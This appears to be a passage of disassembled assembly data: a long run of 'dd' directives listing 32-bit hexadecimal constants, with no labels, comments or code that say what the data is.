		dd 0D59CE0F7h, 0FD426360h, 0F08E6A87h, 0FD0FD87Fh, 0A2BDA658h
		dd 4AB02DAh, 76E644D0h,	6EB28F08h, 8C428FD9h, 0EB50F4F0h
		dd 0E378F0C5h, 0C2CA035Bh, 6D12C04Bh, 0F2820B4Eh, 91A06A9h
		dd 94F292A7h, 0D6DEB030h, 7845588h, 97516C3Ch, 20027482h
		dd 8C98B6D4h, 1CE04023h, 9D54678Fh, 8D77FE94h, 0E1BFCB14h
		dd 0D39E1424h, 0BA17CC8Fh, 7BC852F9h, 56435878h, 257899FAh
		dd 2925ED50h, 0C492ABB2h, 98D3BDACh, 7CF91FDCh,	0E9056E56h
		dd 38B15CBFh, 0AED0E6ABh, 9B1775F6h, 17E27DDh, 7D6F040Dh
		dd 0FB5CE48Eh, 8E35A71h, 167E7613h, 15E98B8Bh, 7621EB1Ah
		dd 31D76714h, 0B465284Ch, 63181B00h, 35C8C8Dh, 7D7D803Dh
		dd 0D1EF3015h, 10EB745Bh, 8057D8AEh, 1705F731h,	0E3F166E7h
		dd 44CA9EFh, 9D8D1DB4h,	6022EB37h, 2C6F302Fh, 0DEB7D01Bh
		dd 0B4984E50h, 4B92A682h, 6B2479FDh, 0AFE4CED9h, 0C88D441Ch
		dd 0E0BACC04h, 35EA8E45h, 0CB9E421Eh, 55154569h, 7DB4E4Bh
		dd 1BD00AEAh, 124FA4C9h, 0E0638ACEh, 0DB36DCE3h, 0DECED29Dh
		dd 1359DE71h, 0EFBFDCB8h, 23489AC3h, 0F9602E33h, 0F8167A83h
		dd 0D841F946h, 0CF141A11h, 4837D1BDh, 4B5CCB01h, 89FC26DBh
		dd 0BA065F7Bh, 85E2A2B4h, 0C8C0DFA3h, 0A1569139h, 0E1CA7A74h
		dd 247B5594h, 4394CA83h, 1FB5571Ch, 51A0A369h, 77D2666Ch
		dd 0E331A64h, 7DF4864Ah
		dd 21FF96E7h, 8B6FE56Ah, 0EEB43DF6h, 0C423DAE9h, 7B9C3376h
		dd 0F9D395E7h, 61093EB3h, 46598CF6h, 3B2275CAh,	0B32AABECh
		dd 66C9A843h, 5463883Eh, 8CDEFAE7h, 3C76B9D9h, 6A1D3FC6h
		dd 2BC1F9BBh, 0A7967BFEh, 0BA10C1EFh, 0C0AA3F74h, 0DFF1D5C0h
		dd 0BA295A56h, 80D260F6h, 0F5B40B5Ch, 95BF128Ah, 79407368h
		dd 0F35A5684h, 9F617F90h, 0CAFEBE9Eh, 96DFB01Eh, 8D79C2B7h
		dd 0C25056FCh, 6D640096h, 70470A9Ah, 52DA95DBh,	0C93AC9EFh
		dd 9E53B5BAh, 0DCC22028h, 0DE09A863h, 0A73D1D84h, 73D81AEEh
		dd 6F942F13h, 6CA71D55h, 0A6EE0244h, 0DD193F39h, 50C0ACC2h
		dd 0D2AB0831h, 32F04338h, 53BAC406h, 4F96A041h,	80B6A61Dh
		dd 3E029676h, 1847BE46h, 0C56F8598h, 935E3D92h,	26730FD0h
		dd 0DB3A3B47h, 9D6A9AC5h, 5B9C4567h, 7CB5C80Ch,	8F20D54Ch
		dd 1B955D48h, 55B277Ah,	0B1A13EB4h, 0EB75EBA6h,	0A22216A6h
		dd 72A72010h, 5E4C0A6Ah, 0C8F3C685h, 95CAC112h,	0EB1DF794h
		dd 0C717C5BEh, 3F017153h, 84605760h, 7FF8E297h,	57100D2h
		dd 0A69EBF0Eh, 9FD87EBCh, 15514B67h, 0F98AB7A8h, 0B56B710Eh
		dd 0B194DDC8h, 6F3AC910h, 0C9057B93h, 974935A8h, 9475EC59h
		dd 9C44240h, 0AA263296h, 0BAF56053h, 1DFCD49Dh,	0A5D92968h
		dd 0F27865A5h, 0D01C8858h, 0E302B3EDh, 20590E37h, 5C45C071h
		dd 0EE502A10h, 272C94Ch, 27DD548Eh, 8591FD0Fh, 67E6EF52h
		dd 7F8A846Bh, 0B4F62776h, 618E8653h, 0BE2DB453h, 0F7CD82BFh
		dd 0C87FB7C0h, 0E26B31D0h, 3BA60EEDh, 5B19C13Bh, 2DBF49F3h
		dd 76848621h, 0EA293A30h, 256CAA3Ah, 271A82Ah, 196C75C6h
		dd 0B8001103h, 81E5994Eh, 5AF6970Bh, 7E4C459Bh,	0D8D6AEDCh
		dd 5757B198h, 2A407BF3h, 0BD183F56h, 41CAB01Ch,	8E21F780h
		dd 9F554199h, 24D6401Fh, 2E37E15Ch, 350C3657h, 6C6395CEh
		dd 0A71713C7h, 3185612Bh, 0C0D32995h, 0D9A2D011h, 0F6FDF659h
		dd 3BEC0127h, 44CDEB61h, 0F15A59B5h, 0D1BAD10Fh, 0CDA5D3F5h
		dd 484452DCh, 8EC9D4C0h, 0C3013DBAh, 637F029h, 86ECB40Bh
		dd 7BB7E08Bh, 0DC3D6754h, 0F2774C0Dh, 0EB66D106h, 2139057h
		dd 0B2F121Ah, 0D1E432BAh, 0BCA05ADCh, 159EA394h, 0B52DC6F9h
		dd 15052AFCh, 0E7810016h, 66CFE16Fh, 0A474F436h, 2B4514BCh
		dd 8F1C0E77h, 0E7B463Ch, 0DD5B0B3Bh, 0C784A4C1h, 5977A06Fh
		dd 2452C90Eh, 6BE2E059h, 0B4A0F9E1h, 45D6A046h,	0F373C91Eh
		dd 0E85F3038h, 293079CFh, 0E9E00538h, 28E5F84h,	321B9968h
		dd 0F9274601h, 7A74257Bh, 1C6F88A3h, 0AB3BCA7Bh, 0AE893AFFh
		dd 62600A57h, 3671A4C4h, 8AF15341h, 59CAFBB8h, 63A19309h
		dd 0E126D253h, 4CB9496Fh, 0BCD037DFh, 585B9368h, 8BDA55FEh
		dd 0FA674D7Eh, 6CDAE45Ah, 43B5EC49h, 34A68EFDh,	9DBF776h
		dd 9950AE0Dh, 0CAB70AA3h, 4DA0596Ch, 0D8292C5Dh, 0B56393D1h
		dd 0DF6B3924h, 60EE3A77h, 6C5C6C92h, 7C59FA9Ch,	0D3CD0D27h
		dd 3209723Ch, 7A87E165h, 0D3FD5B7Ch, 0A36DB863h, 85826F03h
		dd 0F6339DC2h, 0B29B2538h, 99A641DAh, 5E17536Ah, 0CA6FB3BEh
		dd 57D5F9F1h, 0FEAAA220h, 7EEA6314h, 7B5347A6h,	73CF796Fh
		dd 7B333304h, 102F092Eh, 0DE113730h, 8D473D39h,	0DD5A5835h
		dd 7957FA6Ch, 9B46BA42h, 0AE0ACB9h, 2400FE38h, 9AC4F387h
		dd 0E3B716EAh, 94A35099h, 0FAFA42F1h, 85B5F29Fh, 0A116B24Eh
		dd 19C673E6h, 7E9CE39Dh, 0C71172D5h, 0CB781607h, 0E5DB0489h
		dd 8EFBCC6Fh, 0B5E2906Fh, 5A3E981Dh, 2EB8DE83h,	0A228926Ah
		dd 0FDE93B09h, 0E49E727Ah, 9B176FA2h, 0E126EC1h, 0B1650C97h
		dd 82D4861Eh, 3D59CA14h, 61327970h, 67E2688Ah, 0FAD20E61h
		dd 0EC2606D2h, 0C5A021C0h, 0CE5441DAh, 93326820h, 1D276FAEh
		dd 0F6FA4674h, 0EFD2C9DBh, 868776E9h, 8FBDBE79h, 0D74E427Bh
		dd 0DE2E65B6h, 4815E054h, 55FDC403h, 6C3B178h, 690F9F31h
		dd 0A72EB75Bh, 2090D20Dh, 0D3917786h, 0EFA2AE4Dh, 0D6616F8Ch
		dd 0E45001C1h, 5710A29Fh, 0D1E4B15Dh, 414FA1A2h, 13F986D8h
		dd 7CE2B5B7h, 6A5F860Ch, 8F832051h, 0B5514105h,	0ECEA1632h
		dd 3EB8D257h, 6612237Dh, 29A18C7Dh, 26DDFCEFh, 44DAEEFEh
		dd 0A240A5EDh, 88FB9ED8h, 0B62B0772h, 3F665E3Fh, 6228B961h
		dd 9E14923Dh, 0AC5A034Eh, 0D30A78BAh, 0D04FF952h, 0F8AC33A7h
		dd 0FD717C41h, 0EA318239h, 0F9328DBCh, 0F97A4265h, 0BEE8AE7Ch
		dd 548E4E1Dh, 83A6FBB7h, 612EC11Ah, 0A082B539h,	7D324714h
		dd 0B13E59FFh, 0BEF12262h, 0A7E50D57h, 62E55AEDh, 9C6AE4A1h
		dd 0C4854DBEh, 279462DDh, 81D6CE84h, 0DE0C0F69h, 56F8213Fh
		dd 4BFB1D0Bh, 0BEECF7BBh, 71A73B68h, 0BD9821F9h, 227288CFh
		dd 136C1DADh, 0D11F2F07h, 6BB082BCh, 0F0E7723Bh, 159AE813h
		dd 920C5C49h, 0BF5AE892h, 0E87C5A6Ah, 7899FDC4h, 8583869Dh
		dd 0C2840DDDh, 58DB27F9h, 188F6160h, 0ED1C8616h, 983A8AD8h
		dd 98E0BE0Ch, 92863B10h, 0E4883562h, 2A66EA1Bh,	3D521DE6h
		dd 5718EEBBh, 0B2B647Ch, 4AAE7D06h, 0CB410EB2h,	16B9E88Bh
		dd 725459ABh, 4116A83h,	77ABDDDFh, 0D2AD7F7Bh, 536D5A0Ch
		dd 0FBB08515h, 71F203E1h, 696540D3h, 0F138E073h, 0C6910282h
		dd 8A902F56h, 0CB3AB405h, 0DA0DB865h, 9F262656h, 465792CCh
		dd 2C57E7FAh, 0A95CC73Fh, 0B1F87E71h, 758E3CCEh, 0E0B24342h
		dd 0F540DD3Ch, 665F2615h, 3054A0B2h, 3AD021D0h,	46696860h
		dd 41987E5h, 61E3FC97h,	0F0CE1E25h, 0C7805948h,	0B18684A5h
		dd 84A7AF8Ah, 789CB90h,	34997654h, 8EE98863h, 0DD6C24D5h
		dd 423A8B44h, 0FAEEEF5Ch, 42ACED50h, 6E82865Fh,	823E526Eh
		dd 0F98C5F81h, 83685F0Dh, 0C0DD4BFEh, 55F3C0C7h, 5F2B2897h
		dd 7E6554EFh, 0CB96199Ch, 0CA0D0E6Ah, 0EAC11DBEh, 95B39F6Ah
		dd 0D3C342C7h, 386CAFFCh, 95895FDBh, 425D5116h,	3BA23768h
		dd 0EE584D4Fh, 2E80F38Bh, 7AAB5CDEh, 0B8317B9Bh, 3F165FBFh
		dd 0D8EA080h, 0F88506DFh, 24FC52A9h, 4838216h, 81C1E96h
		dd 61B8F048h, 28955521h, 59D9D336h, 0A6D2DE27h,	7728F173h
		dd 0D54D7720h, 4E8A0F82h, 391D8904h, 0A3EC9CD7h, 8A0BDC30h
		dd 9FAC4CFEh, 0A1772DB4h, 0D61404F2h, 0EEF6403Fh, 53593EC7h
		dd 0E5C6E6D7h, 0A059B6Dh, 9E24D7B5h, 0A280414Fh, 0DA23A989h
		dd 0A01DE827h, 0B2601C45h, 0B93D65DEh, 4AB86023h, 0F389A210h
		dd 590C4257h, 0E80975B0h, 2091D071h, 0B328B8FDh, 0C5319289h
		dd 0AA35E6AAh, 37A85E84h, 0FB98B01Fh, 0F32A2557h, 0DFB9990Ch
		dd 10CC4738h, 7E5CAD57h, 783E0570h, 68CBEE64h, 34B77F8Ah
		dd 0C9F0FC63h, 0C52FDE75h, 9E351646h, 0DD762A12h, 3CB17223h
		dd 2963C91Eh, 0B22A002Dh, 0CAEA4556h, 29424C0Bh, 0F29F7F5Bh
		dd 30CD08C5h, 46EBD770h, 3DC6A73Ch, 9C3E0829h, 8FE6805Ah
		dd 0F18FE976h, 2F1DBFF1h, 0D87D66Ah, 0C42C0667h, 5A94F9ECh
		dd 0A2214192h, 6E0085A0h, 0C0B1D7h, 18B740D6h, 79680F98h
		dd 659B0016h, 0F0C4DF24h, 99DBFC96h, 4364F699h,	0D16DC8CAh
		dd 8C8FFADEh, 4FDCE136h, 8F985F60h, 835A2D66h, 3CDFFD1h
		dd 0D7FADA6Eh, 15FB077Bh, 0F35F30D9h, 378EF02Ah, 3DED05DFh
		dd 0A46295CFh, 417D9C6Dh, 3EE7DA69h, 0C31A52B1h, 0B2843E17h
		dd 0EE8A4274h, 7BA86CFh, 7F06E250h, 0DB304AE4h,	33E775ADh
		dd 60DDADEBh, 59FA5DDEh, 0AD85CC2Fh, 34A31F1Eh,	0D2295676h
		dd 0A4B34778h, 0E471BA57h
		dd 50879227h, 3B2E802Ch, 42796461h, 5FC7622Ch, 6E0BC2D3h
		dd 7B7F4667h, 0D466FDC3h, 85C14DA5h, 5E0E015Ah,	0FC472273h
		dd 1BDF6800h, 390E074Bh, 6FB525CAh, 0A1FEC1A5h,	0A0915FAh
		dd 9521D758h, 0AE53AF20h, 42455F8Bh, 10C4D806h,	356BFFAh
		dd 0BDD63A81h, 7EAF2426h, 696EFC8Bh, 0BCA67C00h, 450B0B3Ah
		dd 0B867CF4Dh, 8042FBBh, 0DD0E43C3h, 0C21FE42Fh, 98148DCCh
		dd 0B57B005Dh, 0B7CE76AAh, 34D95FCDh, 874595C4h, 55C75D9Fh
		dd 3F63BFE8h, 76A36511h, 53E64F2Bh, 0B1547DDEh,	0C887FD41h
		dd 2E000450h, 626B33EEh, 0A9A61535h, 76C26D8Ah,	0D1F46790h
		dd 51E553B4h, 237CE854h, 9E8CC819h, 0CE99CF6Eh,	65B8DFC7h
		dd 0B6B83887h, 93D89E46h, 0BCAAB971h, 0B2E58EC0h, 0B35767F0h
		dd 0B593C625h, 0F95FA197h, 0D18E0084h, 54779829h, 4C407478h
		dd 0EE84A438h, 1A56AD7Dh, 82B0FB36h, 44A2073Bh,	0DA84B66Dh
		dd 31994436h, 4E6B51FFh, 0C792452Eh, 15FFF7A3h,	1F72F21Fh
		dd 655A9E03h, 3F2E17C6h, 0C77A98B9h, 42A6684h, 6CE13798h
		dd 0C184F321h, 30B5593Ah, 52CA02D2h, 5E94C331h,	85843C40h
		dd 15F08029h, 0EC6EF69Bh, 1D4CC581h, 846E334Bh,	0A6A9346Eh
		dd 4496285Dh, 0BB570A3Dh, 4B704018h, 0E081B1Ch,	7B73131Ah
		dd 0A49985FBh, 0C0530061h, 806FBB4Fh, 0F4CC182Ah, 70265B54h
		dd 6498EAE5h, 5460CD8Fh, 490B811Ah, 2DB23BEAh, 8F455F41h
		dd 4923F57h, 3E12C7F1h,	0CFA15F00h, 2F3379E7h, 0DDD8190Fh
		dd 284135h, 1637427Ah, 746FB8A5h, 0B5BEF7F2h, 1A394735h
		dd 0FAD31AE5h, 0D299CE9Eh, 0E75ABAF8h, 9A3C11F8h, 0F462ED43h
		dd 29AF078Fh, 240275B3h, 67815ECh, 55644E2Ch, 4E118E3Ah
		dd 8D45FEE6h, 0EDA880F5h, 0CF7F5EA7h, 40DFFADAh, 22FEAE2Fh
		dd 462E4F03h, 5EB6AFF8h, 0BDB0875Ah, 0F2DF3A57h, 6D65F6B8h
		dd 0F233F90Ah, 61A65582h, 24B5CF99h, 1FD735F6h,	0C360CD26h
		dd 8F4D73B4h, 0D6F0CE9Eh, 0B8C9F933h, 0BA8B3AD8h, 0BB75647Fh
		dd 0B152E2C1h, 54714340h, 0F35BA864h, 3CCC7D44h, 91E8893Ah
		dd 0EB27924Ch, 0CAD9A2Fh, 1E6EEA2Ch, 726122F8h,	46C145B8h
		dd 1A8B0C63h, 764F9094h, 0CD42EB88h, 88B8CCA1h,	0D3D1467Eh
		dd 16C219B3h, 0E178C20Bh, 0F76A0062h, 0AEA001AAh, 64CF4AA5h
		dd 38F0867Bh, 7FDD55F2h, 980589A7h, 0C6693F25h,	709B6BA0h
		dd 712B2EF6h, 0B3717BA1h, 5B3B78A3h, 2C15759h, 0AF370794h
		dd 141B91D8h, 3748C3A1h, 0E3168EC9h, 262D4788h,	59559FD8h
		dd 0EA414F18h, 0F07E64FFh, 0D97304DFh, 4C96A676h, 0B2839C6Ch
		dd 66D9B54Bh, 0EBA329C5h, 2751C04Bh, 251BC6E1h,	1C5C1639h
		dd 80190F47h, 0A9CCBD70h, 623A8728h, 0C257FA64h, 16FB571Ah
		dd 0D564E330h, 9869B908h, 430C484Bh, 969C016Dh,	6B985292h
		dd 5AE9DD14h, 839B160Ah, 53219372h, 4921AFD6h, 0E2E968E9h
		dd 0BFF23C7Bh, 9BC336CCh, 0F6872CBEh, 0AC8D83FBh, 0EC905DAFh
		dd 42CC2D45h, 0F21B3C97h, 2ACD26E7h, 2805FC1Fh,	6BA2D137h
		dd 729C401Bh, 0BF6C3F11h, 1D217F52h, 44BF95A2h,	6E8B9FF9h
		dd 750D55F3h, 1F7847C8h, 59FCB444h, 7F094904h, 63BDD70Bh
		dd 0D24E310Ah, 7230233h, 0B52ABF2Dh, 20BB4F4Fh,	5EB536EEh
		dd 0A20C4FC9h, 4B59E232h, 3AE7FEB2h, 5BA9E384h,	0EC00BBAFh
		dd 0FA39201h, 5316AFFh,	12FA5C7Ah, 78855C13h, 0F78E7F9Bh
		dd 74FD57DAh, 0B224D849h, 464B399Dh, 7B47A269h,	2E904D81h
		dd 1B3680E8h, 4F15ECFBh, 8EC3E8BBh, 42AB5D90h, 40867E89h
		dd 58BB6851h, 0B1375B1Bh, 0DDBD8E91h, 7E09FF94h, 0D67F9431h
		dd 0C32C59A0h, 0FD9E66C6h, 423F496Ah, 0E6E243F0h, 0FC8F6BA1h
		dd 311BB61Ah, 7FF0A244h, 0A0BDD6E0h, 0B7E6BC66h, 6DAB958Ah
		dd 45B40C18h, 0D98DD69Dh, 8923C97Ah, 502069F2h,	7E9C9AF7h
		dd 10068DFFh, 5B49B36Fh, 43D36B17h, 0C2219D18h,	320EE00Dh
		dd 3307F2FDh, 48BF2307h, 0EC212920h, 6E3601E1h,	0ED3EC8BAh
		dd 1F8BC37Dh, 0B26D8840h, 0E60A464Bh, 443B8083h, 0A5819EFFh
		dd 0ED039C56h, 14FE1786h, 0C2BED7FEh, 525B699Ch, 0F08C47C3h
		dd 0DBE43FC0h, 0E357BB89h, 0E865BE8Ah, 0AF0E1B8Ah, 0D5812048h
		dd 2F5540EBh, 0D17EA0Bh, 4E97294Dh, 99200110h, 3700EB4h
		dd 762DFAB3h, 3CB23FE6h, 44611F17h, 9F937E7h, 1B4C838Ch
		dd 0F6AD301Ch, 7EA05A8Ah, 545612A9h, 2ED02CCAh,	0CE94C8CFh
		dd 302E40B5h, 654B6242h, 0EFA73689h, 8B2FBC98h,	4EDE2EDEh
		dd 0DEF41AABh, 1674B0FBh, 0E0709B2Fh, 0EFEFA07Fh, 5EFBE70Dh
		dd 8851F55Ah, 0C8091FB3h, 0CD7EFF72h, 0F74FDA04h, 8180ED23h
		dd 15952D0Fh, 69E6480Ch, 535075AFh, 5340576Dh, 0A401BB8Eh
		dd 3095D669h, 641B1DA8h, 0F0BDADC5h, 93283C4h, 5559A941h
		dd 12254522h, 7F316CCDh, 298B1E81h, 0E4BC09D3h,	7AF62CEh
		dd 48E73E10h, 0D1370BCFh, 6303005Ch, 14F6F130h,	5EAB2841h
		dd 43B68277h, 2D461990h, 0EA79DF91h, 75CC6F5Dh,	9FBC6925h
		dd 0C5E2BBF1h, 51BAFB7Ah, 5CD8676Ah, 34E7FD1Fh,	0B4052A24h
		dd 0AC41693Fh, 2C87FD71h, 4A32BAC0h, 0A638547h,	0EF55860Ah
		dd 2A56FC04h, 508FCE6h,	8A0161A8h, 8A1EA84Bh, 0B4058A19h
		dd 6767713Dh, 5E89C168h, 41CC4B7h, 4F9A6496h, 55A79ADh
		dd 1759F68Bh, 1462CB55h, 981483ABh, 0E59B9506h,	0C0592AE7h
		dd 6B463922h, 0E129A0B1h, 0E83D29F2h, 29BE45E1h, 4729E35Eh
		dd 0CE0697C0h, 0A3C5ED65h, 0CD2B316Fh, 0D2F2E3A8h, 0E635B304h
		dd 0F63918C8h, 0D8C5D620h, 36F8601Eh, 8B0F0E87h, 0EEC5057Ch
		dd 8001B6E5h, 0B5AD9D9Ah, 0DC0921E2h, 0F0E3FD76h, 0F9E86BB1h
		dd 33A60706h, 34D64D4Bh, 0B28FA189h, 6099F069h,	73254FDFh
		dd 1AD309h, 0A57FB895h,	614074DFh, 0CEE0D3BEh, 0F8565B15h
		dd 6066F964h, 0EB86E8Eh, 7073C276h, 882BEE0Ah, 7AC60DFCh
		dd 0D42C30E0h, 0A123C234h, 0F5A3E937h, 0E3C7774Ah, 0E57130E1h
		dd 3A587444h, 4257EBF5h, 8C9F4EBDh, 84964332h, 736F156h
		dd 1F406737h, 388290C8h, 829B8185h, 0B90BCB12h,	55A4BFC7h
		dd 0F8988D04h, 1E5D81DAh, 0E27083Dh, 0A435E291h, 933E92E0h
		dd 7FD42C0Dh, 5DFCD0Ah,	8E2CB3A8h, 0F587D5FEh, 19109EBEh
		dd 0AEF76B74h, 4BF5B0D9h, 74F35611h, 0CA9C6EAAh, 71224B63h
		dd 0F97DE7Dh, 971E0DCDh, 90271EC4h, 0EC508ACDh,	0B6416890h
		dd 69204A67h, 88C05312h, 9C8F3597h, 24B82427h, 0EC05F9BCh
		dd 255E24E1h, 41428C0Bh, 0F52732CEh, 2D71401Dh,	738EF1C6h
		dd 0FFFD7D62h, 86FDFED2h, 3EECC01Ch, 1367FCDFh,	6BE01173h
		dd 1840AB3Eh, 584B8E53h, 385C7D91h, 0F1A3BE6Eh,	0FC28BBBDh
		dd 0C154EC47h, 5D394145h, 2C0C0521h, 0E329B1F2h, 0D5721558h
		dd 0B85B8FF5h, 0B9A32D97h, 334BD4C7h, 0F0D3E6DEh, 3B43DD18h
		dd 0AFC15A4Fh, 815ADDAFh, 9B784752h, 95A3E13Ch,	49E37E8Ch
		dd 2860690Ah, 0B7CA4FA5h, 7EB2CFFCh, 16828999h,	4CAB8E45h
		dd 5736306Bh, 5387B455h, 2A6340DAh, 659863E4h, 6B2679Dh
		dd 0A7E3115Dh, 0C5C2B979h, 57DCF080h, 0CA3E7A8Ah, 32B03D2Bh
		dd 85E507D6h, 0C9127267h, 70F75DF9h, 0E8B338CDh, 80749571h
		dd 727B5F7Bh, 15B7D8FBh, 79155587h, 65996437h, 0C26F11Ch
		dd 98183F6Dh, 71EB97E2h, 98F4E4EDh, 763B25Ch, 4092E9Fh
		dd 0B4151F13h, 1C99FC28h, 76F46C96h, 8E524F1Ah,	58460F7Eh
		dd 9DA0C398h, 0F03B3865h
		dd 0E793075Fh, 3BECFF0Eh, 5E59B6D7h, 0C65930CBh, 48AA9565h
		dd 8E9ADCECh, 48BC85E5h, 6CA0E8CEh, 0C668B794h,	1D3C5BE5h
		dd 13A00B42h, 0E30679CEh, 2522E2F3h, 23F25C8Ah,	85252530h
		dd 722987F8h, 0B425241Fh, 995E77DEh, 61CD3A96h,	0C3EA4D96h
		dd 0EB360327h, 0A57A99D3h, 6D3B39B1h, 0E7EB9C43h, 68942A35h
		dd 0FCF85991h, 3BC3234Ch, 9810A779h, 3E2C41BCh,	9E68EA7Fh
		dd 0DC15EBB9h, 562E2AEAh, 8E48A70Fh, 9E5B6149h,	0A2154893h
		dd 0FC2C73D5h, 14CF837Eh, 7EED57D3h, 4E84B411h,	53EE04h
		dd 0CC02F024h, 3E6DAF1Bh, 0EA5F4D3Eh, 7305EED5h, 0FD521C99h
		dd 94942080h, 564BF220h, 6592B6B5h, 90BD7948h, 72D125Ch
		dd 0B000D18Dh, 0B54A2050h, 1CE35FE6h, 0A2EE9D05h, 736BFD9Ch
		dd 8457F280h, 0E822606Dh, 0D6FF84CAh, 6CE7DB62h, 0EC6CD25Dh
		dd 0A32C25CFh, 0BF10347Fh, 6C96B352h, 0FEE6A47Ah, 8197293Bh
		dd 0EFC889E6h, 9B6FBBE4h, 0EFF4F063h, 0C1F816A9h, 0FC13F3DAh
		dd 0E0D42A25h, 3D99AFD2h, 4A11885h, 0A1F69231h,	349C6A56h
		dd 55F38CE0h, 0E66A7BB0h, 173C0B91h, 0BF696EEBh, 79228309h
		dd 89347EF7h, 7A0EC14Ch, 0A8527D7Bh, 0A8AF969Eh, 0DA75FFDDh
		dd 4722F85Dh, 0E8D1B35h, 0D2BD026Eh, 0F47E8A12h, 709DC472h
		dd 0F194074h, 4684DE39h, 13982615h, 0B64699FBh,	7230D381h
		dd 8FDF1690h, 0C5244722h, 0E86B28B8h, 21A654B4h, 0A82BEF88h
		dd 9ACD15Bh, 0D8C17605h, 0D9D31996h, 8E947DEEh,	2CC42FBFh
		dd 0EF4046BBh, 0F1096EA4h, 3605895Ah, 0F42AF3FEh, 61E3084Ah
		dd 30088AABh, 614E7402h, 389D3D41h, 0FD077D30h,	0A386B219h
		dd 8BC0A184h, 202A17E0h, 0F1F28D1h, 2E17F5h, 4DB34F62h
		dd 7B9BE759h, 0CAC3D864h, 0E4A4C768h, 86AD6F76h, 26FCAEDCh
		dd 3EB19DFBh, 2E936BC6h, 0DCB2CB01h, 8EBEE43Eh,	1B9F6384h
		dd 0C1C7A2B7h, 0D10A32DEh, 2B73C16Bh, 3FF4AA37h, 3E41ED65h
		dd 0A45CB940h, 3A8529FAh, 2E0D15D6h, 9D97C066h,	0BAB2ABE7h
		dd 7B4FBC44h, 7C80F68Fh, 2B0FD9D3h, 0CF7E5849h,	0DA937DCEh
		dd 0EC7E880Ah, 0B05CF783h, 26BA1252h, 2FCB3E6Eh, 0BA84A9Ch
		dd 1A9F05C2h, 0B54F9079h, 0E69185CDh, 13BE9903h, 60379365h
		dd 0A4117903h, 222F7160h, 0AF867753h, 0F004C66Ah, 2EC13160h
		dd 647D8BDAh, 0CF7A1B1Ch, 0A639C6CBh, 0B526C542h, 6BCB7616h
		dd 33F5956Bh, 9AF4E2Bh,	48D2603Bh, 4391086Bh, 7A8990C5h
		dd 9E9B8A09h, 0C6F16A20h, 0F6E0C242h, 2CCCE096h, 0CDC738BBh
		dd 4F583061h, 0D637C485h, 13E8584Fh, 0F2933503h, 0DA5CE9DFh
		dd 33CF26C1h, 43ED6D31h, 7FA59D5Ch, 4C9BB8CEh, 0AFEB6C0Ch
		dd 20697585h, 7D4DCA5Fh, 3F363FB6h, 7A88DBC9h, 0E982F643h
		dd 1F87ED71h, 85331BC8h, 1DA82B77h, 0D8549238h,	3BB0DBE2h
		dd 0FC169D1Eh, 32142F43h, 873A9B73h, 97EBEF5Ch,	28047445h
		dd 0C7D128Ch, 13F667F0h, 918F6C2Bh, 47C611E2h, 366C6700h
		dd 208BC059h, 0A04C59C9h, 2F944434h, 742223B1h,	0A6E61CACh
		dd 0C89EBF66h, 0D59BF787h, 0EF75029Bh, 904CE6DBh, 0DB3CDEA7h
		dd 8A6C495Bh, 55146C9Bh, 3810AE6h, 55F75DACh, 0D020EF2Dh
		dd 0D7AB6B5Eh, 4E1F60E6h, 29AE28A1h, 0F1AE4B7Ah, 118B3930h
		dd 0A62369B4h, 2AECB8F0h, 16928E78h, 0E693EA28h, 0A601EACEh
		dd 94E31B85h, 7AE86762h, 0B19B7CABh, 3833B8A7h,	3C9EE4ACh
		dd 0FCE047AAh, 0A631A454h, 330E3C00h, 88FAD28Bh, 7962150Dh
		dd 0E26572FCh, 0C07BD096h, 54B33DCh, 1507C281h,	8187E823h
		dd 0E5DA8333h, 0F447126Bh, 721EF5A4h, 87C4CBFAh, 9FB5DF74h
		dd 2EA1E864h, 56052159h, 55A925F5h, 18CD7823h, 39F01BA9h
		dd 0A62C9CE0h, 0FE2BF093h, 0A773EDC8h, 0BBB13682h, 0E0AC43BBh
		dd 81071580h, 2E4E8D8Fh, 0E1FBD6EAh, 116A6FF7h,	781C141Eh
		dd 0DED45E24h, 0CF95CB5h, 0CE51EABCh, 5DAA27FDh, 55585248h
		dd 27C648DFh, 6837813Eh, 6305936Dh, 0EF947E6h, 4372E11Eh
		dd 0CA6005CDh, 0C95689B6h, 8D5776E6h, 1ABECC1Bh, 16A27AAFh
		dd 1292CD50h, 0ECBBA66Bh, 0F9210BFCh, 0CD0BF749h, 32B43ABCh
		dd 8CC6A1A8h, 0E5975214h, 1242E55Fh, 0B7C380B8h, 0ADBB50Bh
		dd 27879849h, 44AC07D8h, 0B40FC80Ch, 9F2E5EDBh,	495634F1h
		dd 0C2866FC7h, 43664CC2h, 0B0BCCF84h, 4A49DA25h, 7FDAA47Ah
		dd 0AE33ACC8h, 56B3FDCFh, 0DC5B272Dh, 2F9D34BBh, 7247C57h
		dd 78DC629h, 0D259DE2Ah, 19D4CF0Ch, 768DB443h, 29EE7B35h
		dd 0B9D87ABFh, 0A8B4D0E7h, 7681828Bh, 5370268Eh, 0A4E926C0h
		dd 0F775CBC2h, 0F674F9D8h, 0B1DF9FCEh, 0C05AA9C7h, 6EC3D81Bh
		dd 5B87A869h, 0F6370F0Dh, 4A350F4Bh, 9AD38AADh,	6FBE509Ch
		dd 910C3856h, 86CDEA3Ah, 0F2A3B31Ah, 0CE4FFAC5h, 5E10C1E7h
		dd 21D6B25Bh, 23A14EB1h, 704CA23Ah, 0E18ABCDAh,	0CED49238h
		dd 17880591h, 6AD5D654h, 0CEE623Bh, 1DFF0E7h, 72FC7FF9h
		dd 5DAF1E28h, 19D62C3Ch, 6C81BF88h, 72E75D58h, 0F22CEF8Ah
		dd 0F9C4806h, 0BD7464D6h, 370529C1h, 119E05B4h,	2998D76Dh
		dd 0AA8D890h, 0B2F16FE6h, 3D5C365Ch, 67EE051Bh,	1A0B0645h
		dd 1B75E0C3h, 4F3B1F4Ch, 0E64FB031h, 7D6D91E2h,	44EDF3D2h
		dd 85F30314h, 440729C5h, 1EFCECEh, 46A2EDF0h, 0FC1549FFh
		dd 8705781Bh, 0CAAB6ECAh, 31F18939h, 8713F835h,	526EF51Fh
		dd 0E34552A7h, 910FC298h, 65742E69h, 3225981Bh,	81B330E5h
		dd 0E7B4613Dh, 3DDC752Bh, 7D22805h, 112B37E9h, 1F682027h
		dd 0CA2140CFh, 62EC6B82h, 0AC8AFEECh, 0E8C6CEFFh, 0A4166143h
		dd 85F09B2Eh, 0CBAB8E87h, 0D8932765h, 514DB5C6h, 0DFB79B11h
		dd 0A5B7C7A4h, 0CFE4283Fh, 0BB57635h, 893F2808h, 0F1231E63h
		dd 82C26B0Dh, 0B1A7BABBh, 82491B1Bh, 0D3BFD59Dh, 7A914E1Ch
